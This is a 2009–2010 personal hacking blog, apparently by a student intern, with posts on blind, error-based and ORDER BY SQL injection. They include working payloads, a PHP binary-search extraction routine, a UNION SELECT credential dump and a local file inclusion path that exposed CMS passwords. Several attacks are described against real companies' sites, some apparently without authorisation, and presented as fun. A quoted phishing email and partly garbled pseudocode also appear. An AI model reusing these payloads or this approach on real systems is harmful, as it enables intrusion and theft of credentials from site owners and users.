Thursday, April 15, 2010

Bruteforcing with SQL injection!

Ok, I recently encountered quite the 'SQL' injection. I decided to ellaborate on this a bit. During a blind SQL injection or during a injection within a update or insert query you often get no clue at all, only when the syntax appears to be wrong or even worse. For example, you get a new sessionid when the query is wrong which is quite nasty! Now there's a way to produce an error on a false statement but not on a true statement for example:

1=IF(1=1,1,(SELECT 1 UNION SELECT 2)) will work as 1=1 equals true. The 'if' statement will output 1. However when we take 1=2, which ofcourse is false, the unification of the 2 select queries will occur this will result into an error. Mysql will now try to match the subquery to '1' which will produce an error since we have 1 and 2. The error message will be something like: 'subquery return more then one row' or something like that. However, even if you get no error and just a white page it's a good indication of wether your query was succesful or not.

Now we have a true and false case we can start bruteforcing field values by ASCII(SUBSTRING(field_name,position,1)) and equal the outcome of that to an ASCII value.

Looping through every possible ASCII value is not a good idea to do. You will generate like a ton of requests. Instead you should do a binary search. This will result in the big O notation: O(Log n) which is a lot faster than O(n). For the ascii table this will mean you got 256 possibilities. First check we need to do is to see if the value we want to know is higher than 128 (256/2). If it is we will check if the value is higher than 128+(128/2) since we know the value is between 128 and 256. anyway if the value is less than 128+64. We know the value is between 128 and 196. This way we can narrow the value down to 1. In just 8 steps you will have the exact value. A certain implementation in php will look something like this:

private function determineValue($injection, $min = 0, $max = 32) {
$value = ceil(($max-$min)/2);
while ($max - $min > 1)
{
$result = $this->get(sprintf($injection, $value));

$max = ($result) ? $value : $max;
$min = ($result) ? $min : $value;
$subtract = ($result) ? 0 : 1;

$newValue = ceil(($max-$min)/2);
$value = ($result) ? $value - $newValue : $value + $newValue;


if (($max - $min) == 1)
return ($value - $subtract);
}
}


That's about it..

Tuesday, March 9, 2010

I'm not alone!

Currently I'm doing my final internship at quite a big company which name I will not mention during this article. However they recently launched a new 'brand' and together with this brand they decided to release a small flash game. The game was simple and all you had to do is get the highscore and you might get a price. Well here's a spoiler: no one got a price. reason for this is that if you decide to release a flash game and you even decide to allow people to win a price with it make sure it's secure. Especially if you release it at an internation IT company, that's like asking for it. Anyway it took me a few seconds before I managed to get the highsscore set at a signed int ;) I managed to crack it in two different ways the first one was actually faking the post which and the second one was manipulating the memory.

Both ways worked like a charm!

I soon found out that a lot of other people discovered the same fun I did! woo! I'm not alone! :D

Tuesday, August 4, 2009

Well well..

Yesterday I got the next email:

Dear Webmail Account User

This message is from the Webmail IT Service messaging center to all account owners. Due to the incessant rate of Spam we are currently performing maintenance and up-grading our Digital webmail services for your convenience.

To prevent your account from closing during this exercise you will have to update it below to know it's status as a currently used account with a hard spam protector.

Confirm Your WebMail Details;
User Name:
Password:
Date of Birth:

You will be sent a new confirmation alphanumerical password so that it will only be valid during this period and can be changed after the process. Please understand that this is a security measure intended to help protect your Webmail Account.

Webadmin IT Help Desk

Well ought.. but not uncommon.. I decided to check what the fuss was about. The 'from' address was: Helpdesk
The reply address was 'slightly' different though: help2desk@mail2webmaster.com

mail2webmaster.com
is a company that allows people to get an email account like Hotmail and Gmail. However I was more interested in citechco.net. citechco.net appears to be vulnerable to sql injection so I'm not quite sure why this dude is trying to obtain login credentials by sending a mass-phishing-mail. SQL injection does the job so much better. I Might post an exploit later when I've informed citechco.net about the 'little' vulnerability.

Good job.



Tuesday, June 16, 2009

My old internship company

A year ago I did my orientating internship at a webdevelopment company that mainly programmed in ASP and ASP.NET. Both languages I utterly hate for their lack of clearance and flexibility. Now I had to work for them for 10 weeks which wasn't that much.. After about 7 or 8 weeks they offered me a contract which would allow me to work for them 0-10 hours a week for a quite okay payrate. I accepted.. signed the contract and we were happy. Now after 10 weeks I had to turn in my paper. Covering the 10 weeks I worked at this company. The paper was a very critic paper. And like many people do, they didn't like being judged by an 'intern'. So I could give em back the contract and I was basically fired before starting.. Well that's not completely true.. I worked 10 hours for them and I didn't get paid. Evil.

Anyway to get to the point.. They recently delivered a webshop actually written in PHP. So I had to test it for holes.. And yes! sql injection, except that this one was a little tricky.. I always got an 'OK' Message. I had to find a way around this. I tried the following thing:

id=246 AND IF(1=(SELECT CHAR_LENGTH(pass) FROM users LIMIT 0,1),1,(SELECT 1 UNION SELECT 2))

Basically what this query did was if the length matched the first password I would get a normal page. If the lenght didn't match it would give me the error: Subquery returned more then 1 row.

So an exploit was in place and soon I had the first user's email and password. Now the funny part was that this first user I suspect being the one written the webshop. He works at a different company I ran my internship. It appears that this other company is in the same building where I work now.. funny.

Anyway there's nothing more hilarious than trying to hack the website of the company where I did my orientating internship. Before actually going into this I have to tell you one of the things I disliked a lot from this company. They didn't use any databases.. they used... XML files! for everything.. really! I mean.. come..onnnnnn...

Ok, Now back to their website. It didn't take me long for this one.. Now since they use a lot of xml files, there's no way of injecting sql. A different approach was needed. Local File Inclusion..

page.asp?inc=cgi-bin/xmldocs/b_users.xml

The above statement gave me all the usernames and passwords for their content management system..

All their passwords were the same.. Another point of this critic!

Woo a beertender for my efforts.

Well last time I spoke about the backup company's website. This website had a few serious holes in it. It appears the website WAS written by them selfs.. Made me wonder how well their software is written that takes care of the backups. Anyway, to get to the point, shortly after my compaignion notified them about the leak they were happy and asked if we were happy with a bottle of wine.. Well I don't drink wine.. my compaignion doesn't drink it.. so no.. Ok.. ok.. we said yes. Lateron we got an email from another dude from that company telling us that we DIDN'T like wine.. wow.. supersticious. So he figured we liked beer and decided to send something our way..

A few days ago we received a beer tender! Woo! that's very nice.. You can buy it from us on ebay. Thank you.

(Not that we don't like a beertender but it's expensive and I prefer bottle's over a beertender...)

Friday, May 22, 2009

'secure backup'

Recently my company decided to become a reseller for a backup company. This company installs a program on someones computer and uploads data using a SSL link. Pretty cool you'd say if it wasn't for the fact that their website is a leaking basket running mssql..

I'm not very fond of mssql.. it's to dangerous.. forgetting one cast or escape and you're screwed. People can simple drop your database table by table.

Anyway the fun part is that this company is telling people that there's nothing more save than their backup tool.. That might be true.. however considering their website I very much doubt it. Thank god they didn't develop their website on their own.

In two days we'll be contacting them about this security issue. We might benefit from this mistake! ;)

Oh the injection was a simple one:

Microsoft JET Database Engine error '80040e14'

The number of columns in the two selected tables or queries of a union query do not match.

,1,1,1,1 etc etc and eventually:

-1 union all select 1,2,3,4,password,username,7,8,9,10,11,12,13,14,15,16,17 from tblUsers #

gave me everthing I needed to know for a solid Proof of concept ;)


Cheers.

Monday, April 20, 2009

SQL Injection inside the ORDER BY clause

Woo I never really did any research in SQL injection inside the ORDER clause . Apparently if you get nothing on your screen, bruteforcing is basically the only way, but how to go about.. Especially if the injection is basically blind we need something that will make sql break..

For example if we have the query: SELECT * FROM users ORDER BY username {injection}

We got raw access to this query by changing ASC or DESC into anything we want.
Injecting the following: ASC, IF (ASCII(SUBSTRING('password',1,1)) = 50,1,(SELECT 1 UNION SELECT 2)) LIMIT 1,1 --

There are two things that could happen... If the query executes normally you know that the first character of the password is 50 (ASCII value)

Please note that you do need only 1 record, if you have multiple or cannot escape the limit clause you might want to use a subquery instead of direct ASCII(SUSBSTRING()) method..

Anyway back to the query, if the character is incorrect the following message will appear if mysql_errors() are printed: Subquery returns more than 1 row

So basically you need to write an exploit that once a query has been executed properly it moves to the next character and remembers the previous character..

In pseudo code something like

function get() {
define charset
define emptypassword
define sql_injection_url_and_string

for i = 1 ; i < x =" 0;x">post(sql_injection_url_and_string)) {
// The query was succesful
emptypassword + charset(x); // the character that matched to the string
break; // move to the next position
}

}

}
print emptypassword;
}


I applied this method for finding table names and columns from the information_schema.tables and .columns...

This kind of SQL injection I enjoy the most. It's not as easy as the union select command.. It requires some thinking and writing an exploit..